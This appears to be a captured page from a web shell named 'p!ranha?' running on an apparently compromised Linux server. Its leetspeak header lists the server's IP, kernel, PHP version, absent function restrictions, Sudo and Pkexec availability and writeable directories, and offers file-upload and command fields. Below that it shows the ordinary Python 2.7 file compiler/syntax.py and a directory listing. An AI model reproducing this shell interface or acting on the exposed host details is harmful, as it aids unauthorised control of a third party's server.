p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python2.7/compiler/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /lib64/python2.7/compiler/syntax.py
"""Check for errs in the AST.

The Python parser does not catch all syntax errors.  Others, like
assignments with invalid targets, are caught in the code generation
phase.

The compiler package catches some errors in the transformer module.
But it seems clearer to write checkers that use the AST to detect
errors.
"""

from compiler import ast, walk

def check(tree, multi=None):
    v = SyntaxErrorChecker(multi)
    walk(tree, v)
    return v.errors

class SyntaxErrorChecker:
    """A visitor to find syntax errors in the AST."""

    def __init__(self, multi=None):
        """Create new visitor object.

        If optional argument multi is not None, then print messages
        for each error rather than raising a SyntaxError for the
        first.
        """
        self.multi = multi
        self.errors = 0

    def error(self, node, msg):
        self.errors = self.errors + 1
        if self.multi is not None:
            print "%s:%s: %s" % (node.filename, node.lineno, msg)
        else:
            raise SyntaxError, "%s (%s:%s)" % (msg, node.filename, node.lineno)

    def visitAssign(self, node):
        # the transformer module handles many of these
        pass
##        for target in node.nodes:
##            if isinstance(target, ast.AssList):
##                if target.lineno is None:
##                    target.lineno = node.lineno
##                self.error(target, "can't assign to list comprehension")
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
December 20 2023 04:52:59
0 / 0
0755
__init__.py
0.999 KB
November 14 2023 16:14:18
0 / 0
0644
__init__.pyc
1.267 KB
November 14 2023 16:14:41
0 / 0
0644
__init__.pyo
1.267 KB
November 14 2023 16:14:41
0 / 0
0644
ast.py
36.629 KB
November 14 2023 16:14:18
0 / 0
0644
ast.pyc
70.435 KB
November 14 2023 16:14:41
0 / 0
0644
ast.pyo
70.435 KB
November 14 2023 16:14:41
0 / 0
0644
consts.py
0.457 KB
November 14 2023 16:14:18
0 / 0
0644
consts.pyc
0.72 KB
November 14 2023 16:14:41
0 / 0
0644
consts.pyo
0.72 KB
November 14 2023 16:14:41
0 / 0
0644
future.py
1.849 KB
November 14 2023 16:14:18
0 / 0
0644
future.pyc
2.887 KB
November 14 2023 16:14:41
0 / 0
0644
future.pyo
2.887 KB
November 14 2023 16:14:41
0 / 0
0644
misc.py
1.752 KB
November 14 2023 16:14:18
0 / 0
0644
misc.pyc
3.646 KB
November 14 2023 16:14:41
0 / 0
0644
misc.pyo
3.646 KB
November 14 2023 16:14:41
0 / 0
0644
pyassem.py
23.692 KB
November 14 2023 16:14:18
0 / 0
0644
pyassem.pyc
25.326 KB
November 14 2023 16:14:41
0 / 0
0644
pyassem.pyo
24.78 KB
November 14 2023 16:14:43
0 / 0
0644
pycodegen.py
46.688 KB
November 14 2023 16:14:18
0 / 0
0644
pycodegen.pyc
55.19 KB
November 14 2023 16:14:41
0 / 0
0644
pycodegen.pyo
54.757 KB
November 14 2023 16:14:43
0 / 0
0644
symbols.py
14.149 KB
November 14 2023 16:14:18
0 / 0
0644
symbols.pyc
17.263 KB
November 14 2023 16:14:41
0 / 0
0644
symbols.pyo
17.229 KB
November 14 2023 16:14:43
0 / 0
0644
syntax.py
1.41 KB
November 14 2023 16:14:18
0 / 0
0644
syntax.pyc
1.838 KB
November 14 2023 16:14:41
0 / 0
0644
syntax.pyo
1.838 KB
November 14 2023 16:14:41
0 / 0
0644
transformer.py
51.863 KB
November 14 2023 16:14:18
0 / 0
0644
transformer.pyc
46.513 KB
November 14 2023 16:14:41
0 / 0
0644
transformer.pyo
44.74 KB
November 14 2023 16:14:43
0 / 0
0644
visitor.py
3.805 KB
November 14 2023 16:14:18
0 / 0
0644
visitor.pyc
4.089 KB
November 14 2023 16:14:41
0 / 0
0644
visitor.pyo
4.089 KB
November 14 2023 16:14:41
0 / 0
0644